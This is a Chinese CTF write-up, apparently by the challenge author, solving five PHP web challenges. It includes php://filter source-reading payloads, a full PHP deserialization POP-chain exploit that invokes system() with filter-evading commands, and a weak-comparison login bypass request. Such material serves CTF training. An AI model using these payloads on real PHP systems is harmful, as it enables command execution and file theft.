第三届 SWCTF-Web 部分 WP

这篇具有很好参考价值的文章主要介绍了第三届 SWCTF-Web 部分 WP。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

写在前面

题目主要涉及的是前端 php 内容知识,仅以本篇博客记录自己 Web 出题的奇思妙想。

Copyright © [2024] [Myon⁶]. All rights reserved.

目录

1、HTTP

2、再见了晚星

3、myon123_easy_php

4、baby_P0P

5、LOGIN!!!


1、HTTP

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

首页文件默认就是 index 这种,比如 index.php、index.html

这里题目页面在 index.html,但是查看源码并没有发现什么

尝试访问 index.php,发现被重定向到了 index.html

使用 bp 抓包重发

回显 flag:flag{Y0u_ar2_RiGHT_careful_br0}

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

2、再见了晚星

payload:

get 传入数组绕过,参数名则是使用 . 绕过

?M.Y[]=1

post 传入 

M=1&Y=一百万个字符+swctfmyonsnert

利用回溯绕过 

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

拿到 flag{ThInk_cOnstantly_0f_There_w1ll_be_n0_echO}

3、myon123_easy_php

第一个使用 php://input 写入对应数据(hello Myon!)

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

使用 php://filter 读取到 myon.php 的源码

?myon1=php://input&myon2=php://filter/read=convert.base64-encode/resource=myon.php&myon3=1

post 还是写入 hello Myon! 

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

反序列化利用

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

构造最终 payload:

?myon1=php://input&myon2=myon.php&myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

post 还是写入 hello Myon!

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

解码得 flag

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

flag{BreAk_tHe_c1rcLe_anD_StAnd!}

4、baby_P0P

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

php 反序列化 pop 链构造勇师傅寒假培训讲过了

这里前端源码就是一个很典型的简单的 pop 链构造:

$n = new nginx();
$a = new apache();
$a->lin=$n;
$i =new iis();
$i->kha=$a;
$t = new tomcat();
$t->drew=$i;
$e = new eva1();
$e->old=$t;

这里主要是对 preg_match 的绕过,过滤掉了一些命令和关键字

我们先尝试执行 ls 命令

注意 payload 需要进行base64编码输出,因为源码存在 base64_decode

exp:

<?php
class apache{
    public $lin;
    public function __toString(){
        $this->lin->check();
        return '';
    }
}
class tomcat{
    public $drew;
    public function __get($name) {
        ($this->drew)();
    }
}
class nginx{
    private $pay='system';
    private $par='ls';
    public function check() {
        if (!preg_match("/(cat|tac|flag)|\/[^\/]*\/|\s+|(\.\.\/)/i", $this->par)) {
            ($this->pay)($this->par);
        } else {
            die("勇师傅察觉到你的参数不对劲");
        }
    }
}
class eva1{
    public $old;
    public $new;
    public function __wakeup() {
        $this->old->new;
    }
}
class iis {
    public $kha="hello myon!";
    public function __invoke(){
        ucwords($this->kha);
    }
}

$n = new nginx();
$a = new apache();
$a->lin=$n;
$i =new iis();
$i->kha=$a;
$t = new tomcat();
$t->drew=$i;
$e = new eva1();
$e->old=$t;
echo base64_encode((serialize($e)));

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

构造 payload:

?snert=Tzo0OiJldmExIjoyOntzOjM6Im9sZCI7Tzo2OiJ0b21jYXQiOjE6e3M6NDoiZHJldyI7TzozOiJpaXMiOjE6e3M6Mzoia2hhIjtPOjY6ImFwYWNoZSI6MTp7czozOiJsaW4iO086NToibmdpbngiOjI6e3M6MTA6IgBuZ2lueABwYXkiO3M6Njoic3lzdGVtIjtzOjEwOiIAbmdpbngAcGFyIjtzOjI6ImxzIjt9fX19czozOiJuZXciO047fQ

回显成功 

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

我们可以在根目录下发现 flag 文件夹和 secret 文件夹,里面还包含了一层文件夹,但是这里过滤掉了连续的/,也就是说我们不能对两层目录直接操作,我们想要读取里面的文件,可以使用分号绕过,先 cd 到某个文件夹下再执行其他命令。

cat 和 tac 被过滤,可以使用 rev 命令反向输出;

空格被过滤,使用 ${IFS} 替换;

flag 被过滤,使用 * 通配符。

因此: 

$par='cd${IFS}/f*;cd${IFS}fllllag;rev${IFS}f*'

生成 payload:

?snert=Tzo0OiJldmExIjoyOntzOjM6Im9sZCI7Tzo2OiJ0b21jYXQiOjE6e3M6NDoiZHJldyI7TzozOiJpaXMiOjE6e3M6Mzoia2hhIjtPOjY6ImFwYWNoZSI6MTp7czozOiJsaW4iO086NToibmdpbngiOjI6e3M6MTA6IgBuZ2lueABwYXkiO3M6Njoic3lzdGVtIjtzOjEwOiIAbmdpbngAcGFyIjtzOjM5OiJjZCR7SUZTfS9mKjtjZCR7SUZTfWZsbGxsYWc7cmV2JHtJRlN9ZioiO319fX1zOjM6Im5ldyI7Tjt9

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

得到:

==AAAAAAAUHAAAgWAEAABAAAAAgBFsEUBoNi1G8KttUAajozsLeOWHg2I6Mh+/WdAgBABAAAAAAAgAgCwhGcucWYsZGAAAAAAAAAgAAAAAAAAAAJAgAAAAARAAAAPdzw0aPWHyYEAgAAJAAFAQhABsEUFV/3VZ6r7RhNVKVa4oqST6MSA8SkMKYObJLfnrw+DF7OqTfTdCY0Kbc6nx5x/papgYPF3IVcCn2eVZi8gPUM5sEoM0Pw79RSiDDVfCUdyBHaw5yZhxmZAAAAIAAAAQEAAAwT3MMt2j1hMGBAIAQCAQBBDsEU

先取反向,再解 base64 

PK 头,很明显的压缩包文件

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

之后以同样的方法先确定到密码文件的位置,再读取 secret 文件夹下的密码

$par='cd${IFS}/secret;cd${IFS}p*;rev${IFS}p*'

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

密码同样需要取反

you_are_also_good_at_misc

使用密码打开压缩包,即可得到 flag 

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全flag{msP6ZuMXpi9InmmrzHN0GpLG6UPnfveBhscnSNJn}

5、LOGIN!!!

基础知识问答,只有 278 是对的

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

全部回答正确,回显了两个路径: ll0g1n.html 和 eeev01.php

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

访问 ll0g1n.html,是一个登录框

直接试是不行的,这道题需要先拿到源码才行

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

但是这里 F12 可以发现另一个路径:he111p.php

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

访问 eeev01.php

这里可以读取变量,我们直接读全局变量 GLOBALS,它是一个包含了全部变量的全局组合数组

构造 payload:

?hack=GLOBALS

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

得到信息:

const myon3 = String.fromCharCode(64,104,65,118,101,95,102,85,110,95,119,49,84,104,95,74,97,118,97,83,99,114,105,112,116,33)

访问  he111p.php

需要输入 key,但是 key 目前我们还不知道

源码注释里有给 key 是怎么来的:

key = myon3 + (((myon1.toUpperCase()).substring(2, 6) + myon2.substring(7, 11)).toLowerCase()).substring(0, 28)

这个是 js 代码 

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

我们已经有了 myon3,接下来继续找 myon1 和 myon2

这里存在 robots.txt

得到:

username:toor

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 3 = "1"2 4 = "0"',62,5,'Coding_is_Fun|I_Love_JavaScript|const|myon1|myon2'.split('|'),0,{}))

登录界面用户名是 toor,第二行是 js 压缩加密 

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

找个在线网站解密

得到:

const myon1 = "I_Love_JavaScript"
const myon2 = "Coding_is_Fun"

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

将代码整合起来,运行 js 代码输出 key:

const myon1 = "I_Love_JavaScript";
const myon2 = "Coding_is_Fun";
const myon3 = String.fromCharCode(64,104,65,118,101,95,102,85,110,95,119,49,84,104,95,74,97,118,97,83,99,114,105,112,116,33);
key = myon3 + (((myon1.toUpperCase()).substring(2, 6) + myon2.substring(7, 11)).toLowerCase()).substring(0, 28);
console.log(key);

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

 得到:

@hAve_fUn_w1Th_JavaScript!loveis_f

回到输入 key 的页面 he111p.php,输入上面的 key

得到一个交换文件的路径,我们直接访问下载

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

直接看的话不太清晰,我们需要先修复

简单说一下,这种 .swp 文件是在 vim 编辑文件时,文件未正常关闭,就会生成这种交换文件

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

使用 vim 命令修复

vim -r @l0g1n_s0urce.swp

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

回车,得到原文件

这个也就是那个登录框的源码(输出的 flag 我用XXX代替了)

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

wq 保存退出,得到 @l0g1n_s0urce.php 文件

代码审计:

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全这里的用户名就是 toor,密码是随机生成的 10 位数字,但是这里使用了弱等于,因此可以采用   php 弱类型比较绕过,true == 任何的非0随机数字:返回 true;

这里还有一个条件,user-agent 需要强等于指定的值:

MYON/2.0 (Windows NT 10.0; Win64; x64

使用 bp 抓包重发:

POST /login.php HTTP/1.1
Host: snert.com.cn:20009
Content-Length: 82
User-Agent:MYON/2.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Accept: */*
Origin: http://snert.com.cn:20009
Referer: http://snert.com.cn:20009/ll0g1n.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=f4d46b5b-ac18-4155-a518-81d74da32dcf
Connection: close

{"username":"toor","password":[true,true,true,true,true,true,true,true,true,true]}

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

多发几次,只要这 10 位随机数密码里面没有出现 0 ,就可以成功

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

得到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoie215b242X2Jsb2dfY3Nkbl9uZXR9In0.AnXhydUNXKadN - Gr - knp6TXhHhrZhnIh035KXjihzeA

很明显的 JWT 格式,直接解码

第三届 SWCTF-Web 部分 WP,CTF,web,前端,学习,php,js,http,web安全

得到 flag:flag{myon6_blog_csdn_net}文章来源地址https://www.toymoban.com/news/detail-857404.html

到了这里,关于第三届 SWCTF-Web 部分 WP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 第三届字节跳动青训营——架构学习

    架构定义:有关软件整体结构与组件的抽象描述,用于指导软件系统各个方面的设计 常见软件架构 单机:所有功能都实现在一个进程里,进程部署在单台机器上,运维时需要停服 C10K问题(Concurrent 10,000 Connection):服务器如何支持10K个并发连接,进行高性能网络编程。解决

    2024年01月18日
    浏览(43)
  • 第三届计算机能力挑战赛C语言

    一、单项选择题 1.题 (3.0分) 以下叙述正确的是()。 A.在C程序,至少要包含一个库函数 B.C程序的一行可以写多条语句 C.对一个C程序进行编译就可以生成可执行文件 D.C程序中的注释只能单独一行,不能位于某条语句的后面 2.题 (3.0分) 下面选项中,不是C语言的是()。

    2024年02月04日
    浏览(44)
  • ctfshow 第三届愚人杯 easy_php

    这题学的了一些小tips,这里讲解一下。 这里详细讲解一下使用c绕过wakup。 O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任

    2023年04月26日
    浏览(62)
  • “美亚杯”第三届中国电子数据取证大赛答案解析(团体赛)

    Gary 被逮捕后,其计算机被没收并送至计算机取证实验室。经调查后,执法机关再逮捕一名疑犯Eric,并检取其家中计算机(window 8), 并而根据其家中计算机纪录, 执法机关再于其他地方取得一台与案有关的服务器,而该服务器内含四个硬盘。该服务器是运行LINUX 系统。 由于事件涉

    2024年02月12日
    浏览(58)
  • 第三届OceanBase数据库大赛启动,升级为国家级竞赛

    近日,第三届OceanBase数据库大赛启动报名。本届大赛进一步升级为全国大学生计算机系统能力大赛,由系统能力培养研究专家组发起,全国高等学校计算机教育研究会、系统能力培养研究项目发起高校主办,OceanBase承办,旨在培养和发现计算机底层核心技术的后备人才。 Oc

    2024年02月12日
    浏览(36)
  • 快速响应 智慧应急|大势智慧亮相第三届武汉国际安全应急博览会

    4月26日至4月28日,第三届武汉国际安全应急博览会(后简称“应博会”)在湖北武汉顺利举办。本次展会,大势智慧以 实时三维重建能力 为核心,提供 各类 应急场景的技术支撑 ,助力 应急处置和救援 等方面的应用。 展会上, 重建农场便携版、大势鹰眼实时三维重建、大

    2024年02月07日
    浏览(43)
  • Call for Papers丨第三届GLB@KDD‘23 Workshop

    鉴于介绍新数据集和Benchmark研究往往需要不同于常规论文的评审标准,计算机视觉和自然语言处理领域,以及最近的NeurIPS会议,都有专门致力于建立新Benchmark数据集和任务的Conference Track。然而在图机器学习领域,我们还没有类似的发表渠道。 Workshop on Graph Learning Benchmarks(

    2024年02月04日
    浏览(40)
  • 2023年台州市第三届网络安全技能大赛(MISC)这是神马

    考点:冰蝎流量特征数据包,需要解密 emoj 解密 冰蝎之前做过 特征就是先 base64 编码在 AES 编码 我们在数据包里面找到了密钥: 144a6b2296333602 这里我们知道了密钥我们就去解密 先筛选 HTTP 协议 导出 HTTP 数据流可以看到传了 shell.php 随便找一个然后复制, AES 解密这里我没工具

    2024年02月08日
    浏览(48)
  • 2023第三届”红明谷“杯网络安全大赛 Writeup By AheadSec

    修改前端js代码,将连点10次处的 clickDecryptBtn(); 循环次数改为10000即可,如图所示: Dreamer cms有nday:https://forum.butian.net/share/2183 其中有一个后台设置栏目存在任意文件读取的漏洞,而且也给了flag位置在 /flag 保存,然后首页点击这个栏目即可 返回都是 gzip 格式的数据,直接用

    2023年04月24日
    浏览(41)
  • 2022第三届全国大学生网络安全精英赛练习题(2)

    101、通过“计算机管理”来清除时间日志也可以达到清除痕迹的目的,具体操作是() A.禁用“event system”服务 B.禁用“net logon”服务 C.禁用“event log”服务 D.禁用“secondary logon”服务 正确答案:C 解析:通过“计算机管理”来清除时间日志也可以达到清除痕迹的目的,如果禁用“

    2024年02月05日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包